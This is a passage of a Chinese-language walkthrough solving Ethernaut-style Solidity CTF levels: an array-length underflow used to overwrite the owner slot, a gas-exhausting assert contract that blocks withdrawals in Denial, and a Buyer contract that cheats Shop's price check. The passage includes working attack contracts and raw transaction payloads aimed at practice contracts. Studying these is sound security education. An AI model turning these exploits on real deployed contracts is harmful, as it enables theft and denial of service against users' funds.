,从而修改到 owner。
但是我们要修改codex[y]
, 那就要满足y<codex.length
, 而这个时候我们codex.length
的值很小,但是我们通过retract
是 length 下溢然后就可以编辑codex[y]
了。
所以接下来的操作很简单了。
1.
func="0x1d3d4c0b"; // 函数 id data1="0000000000000000000000000000000000000000000000000000000000000020"// 偏移 data2="1000000000000000000000000000000000000000000000000000000000000001"// 长度,构造大于 2**200 data=func+data1+data2 web3.eth.sendTransaction({from:player,to:instance,data: data,gas: 1111111},function(x,y){console.error(y)});
从而使
contact=true
- 计算
codex
位置为slot 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
,
```javascript
function go3() view returns(bytes32){
return keccak256((bytes32(1)));
}
```
- 计算
- 计算 y,
y=2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
- 计算 y,
- 调用
revise(y,player_addr)
,这里player_addr
记得填充到 32 字节,比如我的地址是0x91c72f7200015195408378e9cb74e6f566dddf44
,所以填充到0x00000000000000000000000091c72f7200015195408378e9cb74e6f566dddf44
- 调用
然后就 ok 了。
Denial
题目代码如下:
pragma solidity ^0.4.24;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance/100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
function() payable {}
// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
题目要求也比较简单,就是在调用 withdraw 时,禁止 owner 分走账户的 1% 的余额。
刚开始傻了,想的那很简单啊,利用withdraw
函数的 reentrancy 问题,100 次就把账户转空了。然后才想起来是余额的 1%。最近脑子不好使。
那这样的话,可以考虑使 transfer 失败,也就是想办法把 gas 耗光。比如在partner
合约中设置大量的存储或者一个循环运算。后来想起来一个最简单办法,assert
, 这个函数触发异常之后会消耗所有可用的 gas,那么剩下的消息调用(比如owner.transfer(amountToSend)
) 就没有 gas 可用了,就会失败了。
所以 attack 代码很简单:
contract attack{
function() payable{
assert(0==1);
}
}
shop
题目代码如下:
pragma solidity 0.4.24;
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
要求是修改 price 低于 100,简单来说可就是_buyer.price.gas(3000)()
两次返回不一样的值,比如第一次返回 100,第二次返回 0。似乎很简单,但是这里的难点在于 gas 限定了只有 3000,我们通常会想要使用一个状态变量,比如 a=0,第一次访问返回 100 之后修改为 1,第二次判断一下如果不为 0 就返回 0。但是一旦涉及到状态变量也就是storage
的修改,那就不是简单的 3000gas 能够解决的了。这里发现题目有一个变量isSold
, 我们可以根据这个的值判断该返回的大小,最后攻击合约如下:
pragma solidity 0.4.24;
contract Buyer {
function price() view returns (uint) {
return Shop(msg.sender).isSold()==true?0:100;
}
function go(address param){
Shop a = Shop(param);
a.buy();
}
}